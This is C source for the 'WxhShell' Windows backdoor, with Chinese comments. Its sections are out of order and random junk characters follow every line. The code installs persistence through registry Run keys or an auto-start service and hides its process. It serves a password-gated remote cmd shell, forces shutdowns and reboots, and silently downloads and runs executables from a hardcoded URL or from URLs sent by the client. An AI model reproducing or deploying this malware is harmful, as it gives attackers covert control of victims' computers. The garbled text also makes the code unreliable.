  // 关机 !8&,GT  
  case 'd': { a?'3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;ak3 @Uee  
    if(Boot(SHUTDOWN)) xVoWGz7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O$x-&pW`g  
    else { 8 o8FL~&]  
    closesocket(wsh); xrx{8pf  
    ExitThread(0); 1!/+~J[#  
    } { frEVHw  
    break; WO*yJ`9]  
    } zO{$kT\r&  
  // 获取shell )6)|PzMQ'  
  case 's': { j)\&#g0u6  
    CmdShell(wsh); LLmgk"  
    closesocket(wsh); 3(P^PP8  
    ExitThread(0); 475yX-A  
    break;  N>`+{  
  } "M6a_rZ2W  
  // 退出 FW7+!A&F  
  case 'x': { Ff>Y<7CQ v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pH#&B_S6z=  
    CloseIt(wsh); b qB[ vPsI  
    break; c?) pn9  
    } 6A M,1  
  // 离开 l^xkXj  
  case 'q': { qGkrG38K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~ C5iyXR  
    closesocket(wsh); $gDp-7  
    WSACleanup(); X@+:O-$  
    exit(1); |Ix6D  
    break; x$CpUy{6  
        } oT 8  
  } Td[w<m+p<P  
  } Ga f/0/|  
0w\X  
  // 提示信息 DjOFfD\MF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B0=:A  
} mDE{s",q/  
  } 9BI5qHEp  
4 E3@O  
  return; J'9&dt  
} "W6 nW  
+WPi}  
// shell模块句柄 V.WfP*~NJ  
int CmdShell(SOCKET sock) /6{`6(p  
{ <6/XE@"   
STARTUPINFO si; q<>2}[W  
ZeroMemory(&si,sizeof(si)); x+B~t4A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dQM# -t4*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5K'EuI)  
PROCESS_INFORMATION ProcessInfo; oE#HI2X  
char cmdline[]="cmd"; +azPpGZ=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PB>p"[ap4  
  return 0; ~b\7 qx_a9  
} JoW*)3Z  
p8s2#+/  
// 自身启动模式 Oi BK  
int StartFromService(void) {\|? {8f  
{ u-UUF  
typedef struct ?^BsR  
{ i?=3RdP/R1  
  DWORD ExitStatus; {DN c7G  
  DWORD PebBaseAddress; SNvK8,"g  
  DWORD AffinityMask; $pk3d+0B  
  DWORD BasePriority; i`&yPw  
  ULONG UniqueProcessId; ]kb%l"&  
  ULONG InheritedFromUniqueProcessId; vzi=[A  
}   PROCESS_BASIC_INFORMATION; b]RCe^E1  
344,mnAd  
PROCNTQSIP NtQueryInformationProcess; j,/o0k,  
W\.f:"2qr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >[|:cz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #*S/Sh?Q  
1bzPBi  
  HANDLE             hProcess; ;ok];4`a  
  PROCESS_BASIC_INFORMATION pbi; 5B'-&.Aj+  
%c^]Rdl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h>mQ; L  
  if(NULL == hInst ) return 0; A!^K:S:@  
/bCrpcH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); { w!}:8p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b@YSrjJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rA=F:N 2  
jv2l_  
  if (!NtQueryInformationProcess) return 0; @2$PU{dH  
[-6j4D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qgZ(o@\  
  if(!hProcess) return 0; h(/|`   
] (MXP,R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7h&xfrSrD  
twgU ru  
  CloseHandle(hProcess); 0?p_|X'_  
Y2<#%@%4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ULU ]k#  
if(hProcess==NULL) return 0; #S<>+,Lk  
}GkEv}~t  
HMODULE hMod; =1yUH9\,b  
char procName[255]; BOwkC;Q[  
unsigned long cbNeeded; ~Ag !wj  
Q]6nW[@j'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?'T>/<(  
$Fr2oSTT)  
  CloseHandle(hProcess); M8juab%y  
rcI(6P<*  
if(strstr(procName,"services")) return 1; // 以服务启动 ;uoH+`pf  
K?I@'B'  
  return 0; // 注册表启动 "#4PU5.  
} -D!F|&$  
I*lq0&  
// 主模块 boN)C?"^h  
int StartWxhshell(LPSTR lpCmdLine) uaU!V4-  
{ 7ZZSAI  
  SOCKET wsl; 1M 3U)U  
BOOL val=TRUE; SF.,sCk  
  int port=0; a S<JsB  
  struct sockaddr_in door; ).tZMLM/-  
W:5m8aE\  
  if(wscfg.ws_autoins) Install(); vO0ql  
R1P,0Yf  
port=atoi(lpCmdLine); WO)K*c1F  
e'\I^'`!M  
if(port<=0) port=wscfg.ws_port; p~3CXmUc~  
; $y.+5 q  
  WSADATA data; R o-Mex2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .f jM9G#  
a 3O_8GU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K] Eq"3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sS-5W-&P{T  
  door.sin_family = AF_INET; c&0IJ7fZG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Pi8U}lG;  
  door.sin_port = htons(port); gpw(j0/Fs  
x(S 064  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tY[y?DJ  
closesocket(wsl); *\joaw  
return 1; l,v:[N  
} Qy6Avw/$  
RIJBHOa  
  if(listen(wsl,2) == INVALID_SOCKET) { q!AS}rV  
closesocket(wsl); |xf%1(Rl@  
return 1; |Cen5s W&  
} H<NYm#a"  
  Wxhshell(wsl); 1/&j'B  
  WSACleanup(); P%/+?(?  
"V9!srIC  
return 0; RisrU  
!o.g2  
} Tl=vgs1  
z4f5@  
// 以NT服务方式启动 U3za}3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RsV<*s  
{ t8P>s})[4  
DWORD   status = 0; DG:=E/@  
  DWORD   specificError = 0xfffffff; :\bttPw5  
@8CD@SDv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;<MaCtDt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (O<lVz@8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G+%ZN  
  serviceStatus.dwWin32ExitCode     = 0; hG ]jm  
  serviceStatus.dwServiceSpecificExitCode = 0; |Pj _L`G  
  serviceStatus.dwCheckPoint       = 0; \DQ;v  
  serviceStatus.dwWaitHint       = 0; Jx{,x-I  
X,OxvmDm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _X]?  
  if (hServiceStatusHandle==0) return; X`aED\#\h  
.7kVC  
status = GetLastError(); #); 6+v  
  if (status!=NO_ERROR) i5AhF\7F9  
{ (=PnLP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >Y \4 v}-  
    serviceStatus.dwCheckPoint       = 0; st+Kz uK  
    serviceStatus.dwWaitHint       = 0; BryMq !  
    serviceStatus.dwWin32ExitCode     = status; He]F~GXP  
    serviceStatus.dwServiceSpecificExitCode = specificError; ntF(K/~Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GB !3Z  
    return; "^trHh8=  
  } ~z aV.3#  
~P/G^cV3s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L9kSeBt  
  serviceStatus.dwCheckPoint       = 0; 6C3y+@9  
  serviceStatus.dwWaitHint       = 0; #|e <l1F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F;_;lRAb  
} #15q`w  
[ wu%t8O2  
// 处理NT服务事件,比如:启动、停止 ;J5oO$H+68  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j2\G1@05  
{ K^> qn,]H'  
switch(fdwControl) ,%jJ ,G,  
{ XSxya .1  
case SERVICE_CONTROL_STOP: 3 (}?f  
  serviceStatus.dwWin32ExitCode = 0; A5/h*`Q\\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '{+hti,Lh  
  serviceStatus.dwCheckPoint   = 0; _rR.Y3N  
  serviceStatus.dwWaitHint     = 0; a%]p*X!  
  { 2xnOWW   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V2y[IeSQ  
  } P`oR-D  
  return; D=OU61AA  
case SERVICE_CONTROL_PAUSE: >N3{*W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ' 5Ieqpm9  
  break; au7BqV!uL  
case SERVICE_CONTROL_CONTINUE: qMUqd}=P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g_x<+3a  
  break; '+eP%Y[W%  
case SERVICE_CONTROL_INTERROGATE: Th8Q ~*v  
  break; L*l( ~t)vF  
}; vIG,!^*3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); asJYGqdF  
} }.hBmhnZmI  
@%TQ/L^|  
// 标准应用程序主函数 ECSC,oJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K:Ap|F  
{ S2NsqHJr  
bHMlh^{`%  
// 获取操作系统版本 fSP~~YSeU  
OsIsNt=GetOsVer(); ~q4y'dBy*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [6Wr t8"  
givK{Yt<B  
  // 从命令行安装 4-"wFp  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xmnq ZWB  
IX>|bA;  
  // 下载执行文件 980+Y  
if(wscfg.ws_downexe) { ^*r${Nj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '|cuVxcE55  
  WinExec(wscfg.ws_filenam,SW_HIDE); B8nXWi  
} cshUxabB  
|z4/4Y@  
if(!OsIsNt) { H}@|ucM"\  
// 如果时win9x,隐藏进程并且设置为注册表启动 2KG j !w  
HideProc(); L fi]s  
StartWxhshell(lpCmdLine); }E=kfMu  
} tyDtwV|  
else 9w(j2i q  
  if(StartFromService()) K1hw' AaQ  
  // 以服务方式启动 OYzJE@r^  
  StartServiceCtrlDispatcher(DispatchTable); ZN)/doK  
else u,pm\  
  // 普通方式启动 {NFeX'5bP  
  StartWxhshell(lpCmdLine); y, Z#? O  
::R^ w"  
return 0; a} /Vu"  
} jn7} jWA  
$ -y+97  
:Hd<S   
m<yA] ';s  
=========================================== J8%|Gd0#4  
IQ_0[  
nFP2wvFM  
P]TT  
01dx}L@hz  
8fN0"pymo  
" <Kh\i'8  
ZJ 4"QsF  
#include <stdio.h> A/QVotcU  
#include <string.h> YO Y+z\Q  
#include <windows.h> Cam}:'a/`  
#include <winsock2.h> ke%zp-2c  
#include <winsvc.h> X1-s,[j'  
#include <urlmon.h> ?yz%r`;r  
w(yU\ N  
#pragma comment (lib, "Ws2_32.lib") qYh,No5\;t  
#pragma comment (lib, "urlmon.lib") -3V~YhG  
i`Yf|^;@2>  
#define MAX_USER   100 // 最大客户端连接数 b'OO~>86  
#define BUF_SOCK   200 // sock buffer !69^ kIi$  
#define KEY_BUFF   255 // 输入 buffer -r2cK{Hhp&  
cU>&E* wD  
#define REBOOT     0   // 重启 ? vlGr5#  
#define SHUTDOWN   1   // 关机 9t[278B6  
WNx^Rg" >'  
#define DEF_PORT   5000 // 监听端口 ZChY:I$<  
4A&e+kz&:R  
#define REG_LEN     16   // 注册表键长度 {$t*Mb0  
#define SVC_LEN     80   // NT服务名长度 BuYDw*.  
W(8g3  
// 从dll定义API {aL$vgYT1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EH3G|3^xz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yI%> w4Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EzyIsp> _  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G225Nz;Y*  
<8bO1t^*  
// wxhshell配置信息 ~ /[Cgh0  
struct WSCFG { N|j. @K  
  int ws_port;         // 监听端口 RmQt%a7\{  
  char ws_passstr[REG_LEN]; // 口令  LJ))  
  int ws_autoins;       // 安装标记, 1=yes 0=no e.+)0)A-  
  char ws_regname[REG_LEN]; // 注册表键名 '2tEKVb  
  char ws_svcname[REG_LEN]; // 服务名 cg.e(@(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $SXxAS1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I5A^/=bf&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;!}SgzSH}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v;Dcq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z:hrrq9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hq*JQb;Y}  
\,EPsQV0?  
}; J*Hn/m  
_HK& KY  
// default Wxhshell configuration ]aRD6F:L  
struct WSCFG wscfg={DEF_PORT, D5>~'N3b  
    "xuhuanlingzhe", (0Qq rNs  
    1, J9FNjM[qe  
    "Wxhshell", 5jQP"^g  
    "Wxhshell", _pGviGR  
            "WxhShell Service", ,OCTm%6e  
    "Wrsky Windows CmdShell Service", xdM#>z`;  
    "Please Input Your Password: ", =Q}mJs  
  1, h%s  
  "http://www.wrsky.com/wxhshell.exe", eh>E).  
  "Wxhshell.exe" )r i3ds  
    }; 713M4CtJ  
qlJOb}$ I  
// 消息定义模块 `.W;ptZ6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -],?kP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cQ41NX@I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Uq.~3V+u  
char *msg_ws_ext="\n\rExit."; N]}+F w\5  
char *msg_ws_end="\n\rQuit."; 5ecz'eA%  
char *msg_ws_boot="\n\rReboot..."; 0_ \ g  
char *msg_ws_poff="\n\rShutdown..."; h /QP=Zd  
char *msg_ws_down="\n\rSave to "; ug,|'<G+  
D:E_h  
char *msg_ws_err="\n\rErr!"; C<t>m_t9  
char *msg_ws_ok="\n\rOK!"; m#$za7  
}?J5!X  
char ExeFile[MAX_PATH]; A4FDR#  
int nUser = 0; emB D@r  
HANDLE handles[MAX_USER]; kV3j}C"  
int OsIsNt; uW~ ,H}E  
$tHwJ!<$&  
SERVICE_STATUS       serviceStatus; &U*J{OP|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Pu*HZW3l  
8VmN? "5v  
// 函数声明 $-?5Q~  
int Install(void); }.cmiC  
int Uninstall(void); bMZn7c  
int DownloadFile(char *sURL, SOCKET wsh); g <4M!gi  
int Boot(int flag); u^$Md WP  
void HideProc(void); i{ @'\}{L  
int GetOsVer(void); nE0~Y2  
int Wxhshell(SOCKET wsl); !s*''v*  
void TalkWithClient(void *cs); 0r ; nz]'  
int CmdShell(SOCKET sock); FqxOHovE  
int StartFromService(void); 1GE%5  
int StartWxhshell(LPSTR lpCmdLine); ><MgIV  
 Gy6 qLM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zZc@;S#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Qz(T[H5%W  
}!]x|zU.=  
// 数据结构和表定义 yO;C3q  
SERVICE_TABLE_ENTRY DispatchTable[] = p}DF$k%`  
{ xO-U]%oq  
{wscfg.ws_svcname, NTServiceMain}, $A@3ogoS&  
{NULL, NULL} d.j'0w"   
}; F]A~~P  
d"6]?  
// 自我安装 P&3/nL$9N  
int Install(void) _L'cyH.cn  
{ s|j<b#<xQ  
  char svExeFile[MAX_PATH]; &9_\E{o%]  
  HKEY key; <o7#?AcPu  
  strcpy(svExeFile,ExeFile); <GgtP55  
u?3NBc$~A  
// 如果是win9x系统,修改注册表设为自启动 B=bI'S8\  
if(!OsIsNt) { 0#fG4D_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UX'NJ1f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y+u-J4bj  
  RegCloseKey(key); UxcDDa/j2T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8C,utjy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ObyuhAR  
  RegCloseKey(key); 4_762Gu%  
  return 0; ,V]A63J  
    } RvSq KW8  
  } +F~0\#d  
} &<V_[Wh"  
else { ;#yu"6{  
QS [B  
// 如果是NT以上系统,安装为系统服务 ?hJsN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bjPbl2K  
if (schSCManager!=0) -V u/TT0  
{ vMX6Bg8  
  SC_HANDLE schService = CreateService dHq )vs,L  
  ( e9`uD|KAS|  
  schSCManager, wvmg)4,  
  wscfg.ws_svcname, 3hXmYz(  
  wscfg.ws_svcdisp, b;J0'o^G|  
  SERVICE_ALL_ACCESS, ( OyY_`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {p e7]P?  
  SERVICE_AUTO_START, n;kciTD%wK  
  SERVICE_ERROR_NORMAL, Vo 6y8@\  
  svExeFile, t&9as}  
  NULL, RCh$j&Tn  
  NULL, %g0z) J  
  NULL, #x5N{8  
  NULL, mfngbFa1  
  NULL |J<pLz  
  ); _(6B.  
  if (schService!=0) [+ 'B Q  
  { g| ._n  
  CloseServiceHandle(schService); - Y8ks7  
  CloseServiceHandle(schSCManager); H6ky)kF&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HZDaV&)@  
  strcat(svExeFile,wscfg.ws_svcname); {yHB2=nI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0^&(u:~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RO%tuU,-  
  RegCloseKey(key); ;c X^8;F0  
  return 0; [-E{}FL|  
    } <E[HlL  
  }  ^%5~ ;  
  CloseServiceHandle(schSCManager); ;5D @kS^  
} 2E3?0DL",  
} U1>  
b =K6IX;  
return 1; 9iGE`1N%E  
} S!jF:Uc  
5 dfe@$  
// 自我卸载 [+%d3+27  
int Uninstall(void) {1Ju} =69  
{ 2q- :p8  
  HKEY key; sb}K%-  
(ET ;LH3  
if(!OsIsNt) { P /c Q1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zk/' \(5  
  RegDeleteValue(key,wscfg.ws_regname); *(d6Z#  
  RegCloseKey(key); s%N`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d2C[wQF  
  RegDeleteValue(key,wscfg.ws_regname); }fJ:wku  
  RegCloseKey(key); ~KAp\!,  
  return 0; Y ]~ HAv '  
  } 8! H8[J  
} ASKAgU"h  
} X,WQ'|rC  
else { YPha9M$AgU  
M<{5pH(K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !fi &@k  
if (schSCManager!=0) 9h:jFhsA9  
{ lh,ylh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?w]"~   
  if (schService!=0) A6^p}_  
  { E!zd(  
  if(DeleteService(schService)!=0) { 1V|< A  
  CloseServiceHandle(schService); ( zn_8s  
  CloseServiceHandle(schSCManager); 0" U5oP[  
  return 0; "UQr:/  
  } ),cQUB  
  CloseServiceHandle(schService); oLrkOn/aY  
  }  xFBh?  
  CloseServiceHandle(schSCManager); ? G$Om  
} SY%A"bC  
} +{,N X  
a>o"^%x  
return 1; r6d0x  
} MzEm*`<  
HGO#e  
// 从指定url下载文件 I~\O  
int DownloadFile(char *sURL, SOCKET wsh) /d0Q>v.g  
{ T} n N=Q4  
  HRESULT hr; ^>N8*=y  
char seps[]= "/"; Q`.'-iq  
char *token; xwTijSj  
char *file; `z9)YH  
char myURL[MAX_PATH]; LP^p~5Az  
char myFILE[MAX_PATH]; "/ tUA\=j  
wGEWr2$  
strcpy(myURL,sURL); CfPXn0I  
  token=strtok(myURL,seps); V";mWws+?#  
  while(token!=NULL) K#qoR/:  
  { :/o C:z\h  
    file=token; Km6Ub?/7o  
  token=strtok(NULL,seps); W(;x\Nc7  
  } zKIGWH=qqm  
;_mgiKHg  
GetCurrentDirectory(MAX_PATH,myFILE); %04:z77  
strcat(myFILE, "\\"); i{o#3  
strcat(myFILE, file); [J a)<!]<  
  send(wsh,myFILE,strlen(myFILE),0); _1I K$gb[  
send(wsh,"...",3,0); )l`1)Ea~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 't +"k8  
  if(hr==S_OK) ^oS$>6|  
return 0; PT3>E5`Nu  
else =WIE>*3[  
return 1; 4bP13f  
2]L=s3  
} LtC~)R  
R<"2%oY  
// 系统电源模块 *:a'GC%/  
int Boot(int flag) %lN2n,AK  
{ nN>J*02(  
  HANDLE hToken; %b=Y <v  
  TOKEN_PRIVILEGES tkp; cNe0x2Z$?  
h,^BC^VU9-  
  if(OsIsNt) { U z"sdi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?n)Xw)]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3^{8_^I  
    tkp.PrivilegeCount = 1; }1 $hxfb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + c`AE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AT"!{Y "H  
if(flag==REBOOT) { j:7* 3@f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9lKn% |=T  
  return 0; O/mR9[}  
} r]v&t  
else { \Ke8W,)ew  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yH*hL0mO  
  return 0; T YYp"wx  
} G 0hYFc u  
  } +a|"{  
  else { 59.$ULQVMY  
if(flag==REBOOT) { X4a^m w\"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q(,cYu  
  return 0; !{;[xXK4M  
} vB^uxdt|m  
else { <3b'm*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k^z0Lo|)'  
  return 0; `)T&~2n  
} >QXzMN}o  
} 1n_;kaY  
Bp :~bHf  
return 1; =-_)$GOI'  
} g6WPPpqus  
X2qv^G,  
// win9x进程隐藏模块 WE0}$P:  
void HideProc(void) t#Th9G]1  
{ @<2d8ed  
98GlhogWt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3?Lgtkb8  
  if ( hKernel != NULL ) *.oKI@  
  { W;4Lkk$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {;*}WPYb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 62Mdm3  
    FreeLibrary(hKernel); </= CZy5w  
  } +IrZ ;&oy  
6O pa{]  
return; wxE?3%.j\  
} vYdR ht\(  
PY?8 [A+  
// 获取操作系统版本 Jy]Id*u9  
int GetOsVer(void) 6JhMkB^h  
{ ygN>"eP  
  OSVERSIONINFO winfo; um7o!yg,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ry&q1j  
  GetVersionEx(&winfo); X1oGp+&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Oa! m  
  return 1; I.1D*!tz  
  else w]nX?S8  
  return 0; Z&Ue|Z4Qt  
} )n( Q  
UP2}q?4  
// 客户端句柄模块 obO}NF*g^  
int Wxhshell(SOCKET wsl) V>Fesm"aq  
{ %t*  
  SOCKET wsh; ?Nf 5w  
  struct sockaddr_in client;  Hy]  
  DWORD myID; zzJja/mp  
vg)Z]F=t(  
  while(nUser<MAX_USER) >^=gDJ\a  
{ ~M5:=zKQ  
  int nSize=sizeof(client); 7NJFWz!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X P;Bhz3j  
  if(wsh==INVALID_SOCKET) return 1; Mu{BUtkzG  
w~|1Wd<v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u`_*g^5q"  
if(handles[nUser]==0) pISp*&  
  closesocket(wsh); dFW.}"^c  
else CQgcC-)ns]  
  nUser++; }^Gd4[(,g  
  } :_xh(W+2<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @E%DP9.I  
-R0/o7  
  return 0; zT[6eZ8m  
} &J$##B  
(u&`Ij9  
// 关闭 socket e4\dpvL  
void CloseIt(SOCKET wsh) ^2S# Uk  
{ $'{=R 45Z  
closesocket(wsh); jn JZ# =)  
nUser--; GS;%zdH~  
ExitThread(0); x GH1epf  
} )*|(i]  
ut_pHj@  
// 客户端请求句柄 &^!h}D%T/  
void TalkWithClient(void *cs) 8AL\ST51x"  
{ 6ZOy&fd,Ty  
1$pb (OK  
  SOCKET wsh=(SOCKET)cs; bcH_V| 5}  
  char pwd[SVC_LEN]; BMFF=  
  char cmd[KEY_BUFF]; Zgamd1DJ[l  
char chr[1]; })Yv9],6  
int i,j; P`(Mk6gE  
lr~0pL  
  while (nUser < MAX_USER) { !l 6dg&  
N|K4{Frm  
if(wscfg.ws_passstr) { uwmQ?LS]V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TTZe$>f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~aTKG|74  
  //ZeroMemory(pwd,KEY_BUFF); <jA105U"m>  
      i=0; p?# pT}1  
  while(i<SVC_LEN) { nlc.u}#  
-tLO.JK<  
  // 设置超时 c5% 6Y2W0  
  fd_set FdRead; e,gyQjJR  
  struct timeval TimeOut; QJGKQ2^ n  
  FD_ZERO(&FdRead); |(%zb\#9  
  FD_SET(wsh,&FdRead); 5l{Ts04k%  
  TimeOut.tv_sec=8; [ MyE2^  
  TimeOut.tv_usec=0; UzG[:ic%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mJ5H=&Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S,jZ3^  
4_^[=p/R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nh.32q]  
  pwd=chr[0]; /M=3X||  
  if(chr[0]==0xd || chr[0]==0xa) { *[}^[J x  
  pwd=0; "rhYCZ B  
  break; .0p^W9  
  } N|usFqCNk^  
  i++; N ( Oyi  
    } "_1)CDqP  
J G$Z.s  
  // 如果是非法用户,关闭 socket =9wy/c$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r^fe4b  
} %,P >%'0  
*ZrSiIPP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !t#F/C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xHA0gZf  
Fc6iQ  
while(1) { 'b&yrBFD  
zM#sOg  
  ZeroMemory(cmd,KEY_BUFF); H t(n%;<  
j5$GFi\kB  
      // 自动支持客户端 telnet标准   o\VUD  
  j=0; (s<s@`  
  while(j<KEY_BUFF) { ;C.S3}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i^msjA  
  cmd[j]=chr[0]; ac{?+]8}  
  if(chr[0]==0xa || chr[0]==0xd) { ?)D^~/ A  
  cmd[j]=0; b KtD"JG\  
  break; S \i@s_  
  } TrS8h^C  
  j++; LeOP;#  
    } zp}eLm:=d  
}H> ^o9  
  // 下载文件 !69&Ld  
  if(strstr(cmd,"http://")) { #W>QY Tp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +]Zva:$#`  
  if(DownloadFile(cmd,wsh)) (V:E2WR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V!_71x\-Q  
  else KqY["5p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uVE.,)xz  
  } 2_^aw[-  
  else { >Gml4vGK  
%QmxA 7fW  
    switch(cmd[0]) { W,5Hx1z R  
  W !w,f;  
  // 帮助 XRx+Dddt;  
